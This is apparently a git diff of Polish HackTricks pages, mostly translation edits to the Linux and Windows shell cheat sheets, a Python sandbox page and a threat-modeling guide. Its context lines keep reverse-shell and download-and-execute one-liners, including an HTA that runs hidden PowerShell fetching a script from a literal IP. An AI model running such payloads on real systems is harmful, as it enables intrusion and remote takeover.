W zależności od wersji Pythona, **parametry** `code_type` mogą mieć **inny porządek**. Najlepszym sposobem na poznanie kolejności parametrów w wersji Pythona, którą uruchamiasz, jest uruchomienie:
|
||||
```
|
||||
import types
|
||||
types.CodeType.__doc__
|
||||
|
@ -1018,7 +1010,7 @@ Używając narzędzi takich jak [**https://www.decompiler.com/**](https://www.de
|
|||
|
||||
### Assert
|
||||
|
||||
Python uruchomiony z optymalizacjami z parametrem `-O` usunie instrukcje asercji oraz wszelki kod warunkowy oparty na wartości **debug**.\
|
||||
Python uruchomiony z optymalizacjami z parametrem `-O` usunie instrukcje assert oraz wszelki kod warunkowy zależny od wartości **debug**.\
|
||||
Dlatego kontrole takie jak
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
@ -1028,7 +1020,7 @@ print("\nYou are a super user\n")
|
|||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
będzie obejście
|
||||
będzie omijany
|
||||
|
||||
## Odniesienia
|
||||
|
||||
|
@ -1039,11 +1031,6 @@ będzie obejście
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -10,19 +10,11 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
**Jeśli masz pytania dotyczące któregokolwiek z tych shelli, możesz je sprawdzić na** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Pełny TTY
|
||||
|
@ -68,7 +60,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
```
|
||||
## Forward Shell
|
||||
|
||||
Kiedy mamy do czynienia z luką **Remote Code Execution (RCE)** w aplikacji webowej opartej na Linuksie, uzyskanie reverse shell może być utrudnione przez zabezpieczenia sieciowe, takie jak reguły iptables lub skomplikowane mechanizmy filtrowania pakietów. W takich ograniczonych środowiskach alternatywnym podejściem jest nawiązanie powłoki PTY (Pseudo Terminal), aby skuteczniej interagować z zainfekowanym systemem.
|
||||
Kiedy mamy do czynienia z podatnością **Remote Code Execution (RCE)** w aplikacji webowej opartej na Linuksie, uzyskanie reverse shell może być utrudnione przez zabezpieczenia sieciowe, takie jak reguły iptables lub skomplikowane mechanizmy filtrowania pakietów. W takich ograniczonych środowiskach alternatywnym podejściem jest nawiązanie powłoki PTY (Pseudo Terminal), aby skuteczniej interagować z zainfekowanym systemem.
|
||||
|
||||
Zalecanym narzędziem do tego celu jest [toboggan](https://github.com/n3rada/toboggan.git), które upraszcza interakcję z docelowym środowiskiem.
|
||||
|
||||
|
@ -110,7 +102,7 @@ Musisz tylko zmodyfikować:
|
|||
* Prefiks i sufiks twojego ładunku (jeśli istnieje)
|
||||
* Sposób wysyłania ładunku (nagłówki? dane? dodatkowe informacje?)
|
||||
|
||||
Następnie możesz po prostu **wysyłać polecenia** lub nawet **użyć polecenia `upgrade`**, aby uzyskać pełne PTY (zauważ, że potoki są odczytywane i zapisywane z opóźnieniem około 1,3 sekundy).
|
||||
Następnie możesz po prostu **wysyłać polecenia** lub nawet **użyć polecenia `upgrade`**, aby uzyskać pełne PTY (zauważ, że potoki są odczytywane i zapisywane z przybliżonym opóźnieniem 1,3 s).
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
|
@ -333,19 +325,13 @@ int port=8044;
|
|||
String cmd="cmd.exe";
|
||||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
||||
```
|
||||
## References
|
||||
## Odniesienia
|
||||
|
||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
|
||||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -356,7 +342,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,24 @@
|
|||
# Shells - Windows
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Lolbas
|
||||
|
||||
Strona [lolbas-project.github.io](https://lolbas-project.github.io/) jest dla Windows, jak [https://gtfobins.github.io/](https://gtfobins.github.io/) jest dla Linux.\
|
||||
Oczywiście, **nie ma plików SUID ani uprawnień sudo w Windows**, ale warto wiedzieć **jak** niektóre **binarne pliki** mogą być (nadużywane) do wykonywania nieoczekiwanych działań, takich jak **wykonywanie dowolnego kodu.**
|
||||
Strona [lolbas-project.github.io](https://lolbas-project.github.io/) jest dla Windows, tak jak [https://gtfobins.github.io/](https://gtfobins.github.io/) jest dla Linux.\
|
||||
Oczywiście, **nie ma plików SUID ani uprawnień sudo w Windows**, ale warto wiedzieć **jak** niektóre **binarne pliki** mogą być (nadużywane) do wykonywania pewnych nieoczekiwanych działań, takich jak **wykonywanie dowolnego kodu.**
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -47,7 +39,7 @@ ncat -l <PORT eg.443> --ssl
|
|||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/) to przenośna i bezpieczna alternatywa dla Netcat**. Działa na systemach podobnych do Unix i Win32. Dzięki funkcjom takim jak silne szyfrowanie, wykonywanie programów, konfigurowalne porty źródłowe i ciągłe ponowne łączenie, sbd oferuje wszechstronne rozwiązanie do komunikacji TCP/IP. Dla użytkowników Windows wersja sbd.exe z dystrybucji Kali Linux może być używana jako niezawodny zamiennik dla Netcat.
|
||||
**[sbd](https://www.kali.org/tools/sbd/) to przenośna i bezpieczna alternatywa dla Netcat**. Działa na systemach podobnych do Unix i Win32. Dzięki funkcjom takim jak silne szyfrowanie, wykonywanie programów, konfigurowalne porty źródłowe i ciągłe ponowne łączenie, sbd oferuje wszechstronne rozwiązanie do komunikacji TCP/IP. Dla użytkowników systemu Windows wersja sbd.exe z dystrybucji Kali Linux może być używana jako niezawodny zamiennik dla Netcat.
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
@ -129,7 +121,7 @@ mshta http://webserver/payload.hta
|
|||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
#### **Przykład odwrotnej powłoki hta-psh (użyj hta do pobrania i wykonania tylnego wejścia PS)**
|
||||
#### **Przykład odwrotnej powłoki hta-psh (użyj hta do pobrania i wykonania tylnej furtki PS)**
|
||||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
|
@ -369,7 +361,7 @@ Kompiluj kod C# na maszynie ofiary.
|
|||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
Możesz pobrać podstawowy C# reverse shell stąd: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
Możesz pobrać podstawowy reverse shell w C# stąd: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**Nie wykryty**
|
||||
|
||||
|
@ -444,7 +436,7 @@ powercat -l -p 443 -i C:\inputfile -rep
|
|||
|
||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||
|
||||
Utwórz launcher powershell, zapisz go w pliku, a następnie pobierz i uruchom.
|
||||
Utwórz launcher powershell, zapisz go w pliku i pobierz oraz uruchom go.
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
|
@ -483,12 +475,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) konsola PS z niektórymi ofens
|
|||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -496,10 +483,10 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,76 +1,63 @@
|
|||
# Modelowanie zagrożeń
|
||||
# Threat Modeling
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Threat Modeling
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromitowani** przez **malware'y kradnące dane**.
|
||||
Witamy w kompleksowym przewodniku HackTricks na temat modelowania zagrożeń! Rozpocznij eksplorację tego krytycznego aspektu cyberbezpieczeństwa, gdzie identyfikujemy, rozumiemy i opracowujemy strategie przeciwko potencjalnym lukom w systemie. Ten wątek służy jako przewodnik krok po kroku, wypełniony przykładami z rzeczywistego świata, pomocnym oprogramowaniem i łatwymi do zrozumienia wyjaśnieniami. Idealny zarówno dla nowicjuszy, jak i doświadczonych praktyków, którzy chcą wzmocnić swoje obrony w zakresie cyberbezpieczeństwa.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z malware'ów kradnących informacje.
|
||||
### Commonly Used Scenarios
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
1. **Rozwój oprogramowania**: Jako część Bezpiecznego Cyklu Życia Rozwoju Oprogramowania (SSDLC), modelowanie zagrożeń pomaga w **identyfikacji potencjalnych źródeł luk** w wczesnych etapach rozwoju.
|
||||
2. **Testy penetracyjne**: Standard Wykonania Testów Penetracyjnych (PTES) wymaga **modelowania zagrożeń w celu zrozumienia luk w systemie** przed przeprowadzeniem testu.
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
### Threat Model in a Nutshell
|
||||
|
||||
***
|
||||
Model zagrożeń jest zazwyczaj przedstawiany jako diagram, obraz lub inna forma wizualnej ilustracji, która przedstawia planowaną architekturę lub istniejącą budowę aplikacji. Przypomina **diagram przepływu danych**, ale kluczowa różnica polega na jego projektowaniu zorientowanym na bezpieczeństwo.
|
||||
|
||||
## Modelowanie zagrożeń
|
||||
Modele zagrożeń często zawierają elementy oznaczone na czerwono, symbolizujące potencjalne luki, ryzyka lub bariery. Aby uprościć proces identyfikacji ryzyka, stosuje się triadę CIA (Poufność, Integralność, Dostępność), która stanowi podstawę wielu metodologii modelowania zagrożeń, z STRIDE jako jedną z najczęstszych. Jednak wybrana metodologia może się różnić w zależności od konkretnego kontekstu i wymagań.
|
||||
|
||||
Witaj w kompleksowym przewodniku HackTricks na temat Modelowania Zagrożeń! Wyrusz w podróż po tym kluczowym aspekcie cyberbezpieczeństwa, gdzie identyfikujemy, rozumiemy i strategizujemy przeciwko potencjalnym podatnościom w systemie. Ten wątek służy jako przewodnik krok po kroku, wypełniony przykładami z rzeczywistego świata, pomocnym oprogramowaniem i łatwymi do zrozumienia wyjaśnieniami. Idealny zarówno dla początkujących, jak i doświadczonych praktyków, którzy chcą wzmocnić swoje obronne środki cyberbezpieczeństwa.
|
||||
### The CIA Triad
|
||||
|
||||
### Powszechnie stosowane scenariusze
|
||||
Triada CIA to powszechnie uznawany model w dziedzinie bezpieczeństwa informacji, oznaczający Poufność, Integralność i Dostępność. Te trzy filary stanowią fundament, na którym opiera się wiele środków i polityk bezpieczeństwa, w tym metodologii modelowania zagrożeń.
|
||||
|
||||
1. **Rozwój oprogramowania**: W ramach Bezpiecznego Cyklu Życia Oprogramowania (SSDLC), modelowanie zagrożeń pomaga w **identyfikowaniu potencjalnych źródeł podatności** we wczesnych etapach rozwoju.
|
||||
2. **Testowanie penetracyjne**: Ramy Penetration Testing Execution Standard (PTES) wymagają **modelowania zagrożeń do zrozumienia podatności systemu** przed przeprowadzeniem testu.
|
||||
1. **Poufność**: Zapewnienie, że dane lub system nie są dostępne dla nieautoryzowanych osób. To centralny aspekt bezpieczeństwa, wymagający odpowiednich kontroli dostępu, szyfrowania i innych środków zapobiegających naruszeniom danych.
|
||||
2. **Integralność**: Dokładność, spójność i wiarygodność danych w całym ich cyklu życia. Ta zasada zapewnia, że dane nie są zmieniane ani manipulowane przez nieautoryzowane strony. Często obejmuje sumy kontrolne, haszowanie i inne metody weryfikacji danych.
|
||||
3. **Dostępność**: Zapewnia, że dane i usługi są dostępne dla autoryzowanych użytkowników w razie potrzeby. Często obejmuje redundancję, odporność na awarie i konfiguracje wysokiej dostępności, aby systemy działały nawet w obliczu zakłóceń.
|
||||
|
||||
### Model zagrożeń w pigułce
|
||||
### Threat Modeling Methodlogies
|
||||
|
||||
Model zagrożeń jest zazwyczaj przedstawiany jako diagram, obraz lub inna forma wizualizacji, która przedstawia zaplanowaną architekturę lub istniejącą budowę aplikacji. Przypomina diagram przepływu danych, ale kluczowa różnica polega na jego zorientowanym na bezpieczeństwo projekcie.
|
||||
1. **STRIDE**: Opracowane przez Microsoft, STRIDE to akronim od **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Każda kategoria reprezentuje rodzaj zagrożenia, a ta metodologia jest powszechnie stosowana w fazie projektowania programu lub systemu w celu identyfikacji potencjalnych zagrożeń.
|
||||
2. **DREAD**: To kolejna metodologia od Microsoftu używana do oceny ryzyka zidentyfikowanych zagrożeń. DREAD oznacza **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Każdy z tych czynników jest oceniany, a wynik jest używany do priorytetyzacji zidentyfikowanych zagrożeń.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): To siedmiostopniowa, **zorientowana na ryzyko** metodologia. Obejmuje definiowanie i identyfikowanie celów bezpieczeństwa, tworzenie zakresu technicznego, dekompozycję aplikacji, analizę zagrożeń, analizę luk oraz ocenę ryzyka/triage.
|
||||
4. **Trike**: To metodologia oparta na ryzyku, która koncentruje się na obronie aktywów. Zaczyna się od perspektywy **zarządzania ryzykiem** i analizuje zagrożenia oraz luki w tym kontekście.
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling): To podejście ma na celu bycie bardziej dostępnym i integruje się w środowiskach rozwoju Agile. Łączy elementy z innych metodologii i koncentruje się na **wizualnych reprezentacjach zagrożeń**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Opracowane przez Centrum Koordynacji CERT, to ramy są skierowane na **ocenę ryzyka organizacyjnego, a nie konkretnych systemów lub oprogramowania**.
|
||||
|
||||
Modele zagrożeń często zawierają elementy oznaczone na czerwono, symbolizujące potencjalne podatności, ryzyka lub bariery. Aby usprawnić proces identyfikacji ryzyka, wykorzystywana jest triada CIA (Confidentiality, Integrity, Availability), stanowiąca podstawę wielu metodologii modelowania zagrożeń, przy czym STRIDE jest jednym z najczęściej stosowanych. Jednak wybrana metodologia może się różnić w zależności od konkretnego kontekstu i wymagań.
|
||||
## Tools
|
||||
|
||||
### Triada CIA
|
||||
|
||||
Triada CIA to powszechnie uznany model w dziedzinie bezpieczeństwa informacji, oznaczający poufność, integralność i dostępność. Te trzy filary stanowią fundament, na którym opierane są wiele środków bezpieczeństwa i polityk, w tym metodyki modelowania zagrożeń.
|
||||
|
||||
1. **Poufność**: Zapewnienie, że dane lub system nie są dostępne dla nieautoryzowanych osób. Jest to centralny aspekt bezpieczeństwa, wymagający odpowiednich kontroli dostępu, szyfrowania i innych środków zapobiegających naruszeniom danych.
|
||||
2. **Integralność**: Dokładność, spójność i wiarygodność danych w trakcie ich cyklu życia. Zasada ta zapewnia, że dane nie są modyfikowane ani manipulowane przez nieautoryzowane strony. Często obejmuje sumy kontrolne, hashowanie i inne metody weryfikacji danych.
|
||||
3. **Dostępność**: Zapewnienie, że dane i usługi są dostępne dla autoryzowanych użytkowników w razie potrzeby. Często obejmuje redundancję, tolerancję na błędy i konfiguracje wysokiej dostępności, aby systemy działały nawet w obliczu zakłóceń.
|
||||
|
||||
### Metodologie modelowania zagrożeń
|
||||
|
||||
1. **STRIDE**: Opracowany przez Microsoft, STRIDE to akronim od **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service i Elevation of Privilege**. Każda kategoria reprezentuje rodzaj zagrożenia, a ta metodyka jest często stosowana we wczesnej fazie projektowania programu lub systemu do identyfikacji potencjalnych zagrożeń.
|
||||
2. **DREAD**: Jest to inna metodyka od Microsoftu używana do oceny ryzyka zidentyfikowanych zagrożeń. DREAD oznacza **Damage potential, Reproducibility, Exploitability, Affected users i Discoverability**. Każdy z tych czynników jest oceniany, a wynik jest wykorzystywany do priorytetyzacji zidentyfikowanych zagrożeń.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): To siedmiostopniowa, **zorientowana na ryzyko** metodyka. Obejmuje określenie i identyfikację celów bezpieczeństwa, tworzenie zakresu technicznego, dekompozycję aplikacji, analizę zagrożeń, analizę podatności oraz ocenę ryzyka/priorytetów.
|
||||
4. **Trike**: To metodyka oparta na ryzyku, skupiająca się na obronie zasobów. Rozpoczyna się od perspektywy **zarządzania ryzykiem** i analizuje zagrożenia i podatności w tym kontekście.
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling): To podejście, które ma być bardziej dostępne i integrować się z środowiskami Agile. Łączy elementy z innych metodologii i skupia się na **wizualnych reprezentacjach zagrożeń**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Opracowany przez CERT Coordination Center, ten framework jest ukierunkowany na **ocenę ryzyka organizacyjnego, a nie konkretnych systemów ani oprogramowania**.
|
||||
|
||||
## Narzędzia
|
||||
|
||||
Istnieje kilka narzędzi i rozwiązań oprogramowania, które mogą **pomóc** w tworzeniu i zarządzaniu modelami zagrożeń. Oto kilka, które warto rozważyć.
|
||||
Istnieje kilka narzędzi i rozwiązań programowych, które mogą **pomóc** w tworzeniu i zarządzaniu modelami zagrożeń. Oto kilka, które warto rozważyć.
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
Zaawansowany wieloplatformowy i wielofunkcyjny GUI web spider/crawler dla profesjonalistów zajmujących się cyberbezpieczeństwem. Spider Suite może być używany do mapowania powierzchni ataku i analizy.
|
||||
Zaawansowany, wieloplatformowy i wielofunkcyjny interfejs graficzny dla profesjonalistów w dziedzinie cyberbezpieczeństwa. Spider Suite może być używany do mapowania i analizy powierzchni ataku.
|
||||
|
||||
**Użycie**
|
||||
**Usage**
|
||||
|
||||
1. Wybierz URL i Przeprowadź Crawl
|
||||
1. Wybierz URL i przeszukaj
|
||||
|
||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. Wyświetl Graf
|
||||
2. Zobacz wykres
|
||||
|
||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||
|
||||
Projekt open-source od OWASP, Threat Dragon to zarówno aplikacja webowa, jak i desktopowa, która obejmuje diagramowanie systemu oraz silnik reguł do automatycznego generowania zagrożeń/zapobiegania.
|
||||
Projekt open-source od OWASP, Threat Dragon to zarówno aplikacja webowa, jak i desktopowa, która obejmuje diagramowanie systemu oraz silnik reguł do automatycznego generowania zagrożeń/łagodzeń.
|
||||
|
||||
**Użycie**
|
||||
**Usage**
|
||||
|
||||
1. Utwórz Nowy Projekt
|
||||
1. Utwórz nowy projekt
|
||||
|
||||
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -78,59 +65,48 @@ Czasami może to wyglądać tak:
|
|||
|
||||
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. Uruchom Nowy Projekt
|
||||
2. Uruchom nowy projekt
|
||||
|
||||
<figure><img src="../.gitbook/assets/launch_new_project_2.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. Zapisz Nowy Projekt
|
||||
3. Zapisz nowy projekt
|
||||
|
||||
<figure><img src="../.gitbook/assets/save_new_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
4. Utwórz swój model
|
||||
4. Stwórz swój model
|
||||
|
||||
Możesz użyć narzędzi takich jak SpiderSuite Crawler, aby dać Ci inspirację, podstawowy model będzie wyglądał mniej więcej tak
|
||||
Możesz użyć narzędzi takich jak SpiderSuite Crawler, aby zainspirować się, podstawowy model może wyglądać mniej więcej tak
|
||||
|
||||
